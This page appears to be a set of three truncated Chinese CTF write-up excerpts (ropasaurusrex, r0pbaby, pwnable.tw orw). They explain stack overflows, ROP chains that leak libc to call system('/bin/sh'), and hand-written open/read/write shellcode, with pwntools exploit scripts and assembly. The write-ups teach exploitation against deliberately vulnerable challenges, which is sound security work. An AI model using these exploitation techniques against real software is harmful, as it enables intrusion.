PlaidCTF-2013-ropasaurusrex

分析: buf大小只有0x88,但是却允许被读入0x100的字节大小,造成缓冲区溢出。程序是32位。 定义函数:ssize_t write (int fd, const void * buf, size_t count); 函数说明:write()会把参数buf 所指的内存写入count 个字节到参数fd 所指的文件内. 当然, 文件读写位置也会随之移动. 攻击思路: 1.构造 payload leak 内存中的一个函数地址,比如 read ,write(返回地址是有漏洞的函数,以便第二次利用) 2.计算libc base,得到 system 地址 3.构造payload get shell info leak: payload: 'A' * N + p32(write_plt) + p32(ret) + p32(1) + p32(address) + p32(4) 输入N个字符后发生溢出,write_plt的地址将会覆盖 read 函数的返回地址,随后程序将会跳转到write函数,我们在栈中构造了write函数的3个参数和返回地址,这段payload相当于让程序执行 write(1, address, 4); 这样就可以dump出内存中地址为address处的4字节数据。 (参考:初探ROP攻击 Memory Leak & DynELF) from pwn import * elf = ELF('./ropasaurusrex') io = process('./ropasaurusrex') libc = ELF('/lib/i386-linux-gnu/libc....

Defcon-2015-Qualifier-r0pbaby

64位需要rdi传参,有PIE保护不能使用程序中的gadget,此处可以从libc中找 buf的大小是8,会造成缓冲区溢出 解题思路 1.找到一个gadget RDI 2.找到 /bin/sh地址 3.找到 system 函数地址 查找 gadget ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" 查找 /bin/sh 字符串 strings -a -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh" from pwn import * elf = ELF('r0pbaby') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') io = process('./r0pbaby') sh = next(libc.search('/bin/sh')) sys_offset = libc.symbols['system'] rdi_offset = 0x000000000002144f def getFun(fun): io.recvuntil("4) Exit\n:") io.sendline('2') io.recvuntil("Enter symbol:") io.sendline(fun) msg = io.recvuntil("4) Exit\n: ") offset = msg.find(":") offset2 = msg.find("\n") addr = msg[offset+2:offset2] return long(addr,16) sys_addr = getFun('system') sh_addr = sys_addr-sys_offset + sh rdi_addr = sys_addr - sys_offset+rdi_offset payload = 'a'*8+p64(rdi_addr)+p64(sh_addr)+p64(sys_addr) io....

CTF|pwnable.tw orw writeup

pwnable.tw orw writeup shellcode的编写 呀真的好久没有写博客了,最近在做一些题,都在看别人的题解,做过也忘了,接下来希望好好记录一下,帮助自己理解。 这道题是有关shellcode的编写,这部分我之前也没学习过,都是使用机器生成的。就…结合别人的writeup 说一下自己的理解吧。 高级语言形式 char *fn = "/home/orw/flag"; sys_open(fn,0,0) sys_read(3,fn,0x30) sys_write(1,fn,0x30) 查看 linux 系统调用 获得各个函数的调用号 首先是第一部分 sys_open xor ecx,ecx ;清空ecx寄存器 mov eax,0x5;查看以上资料知道 sys_open 对应0x5 push ecx ;把一个空值压入栈中(这里不是很理解) push 0x67616c66;galf(flag) 接下来就是把字符串作为参数压入栈中 数字就是字符的ASCII码十六进制值 push 0x2f77726f; /wro (orw/) push 0x2f656d6f; /emo (ome/) push 0x682f2f2f; h/// (///h) mov ebx,esp;把内容移到ebx xor edx,edx;清空 edx int 0x80;中断 执行syscall 第二部分是sys_read mov eax,0x3;sys_read mov ecx,ebx;flag文件中的内容 mov ebx,0x3;文件描述符 mov dl,0x30;用于中断(??) int 0x80;中断 执行syscall 第三部分是sys_write mov eax,0x4;sys_write mov bl,0x1;用于中断 int 0x80 最后的脚本:...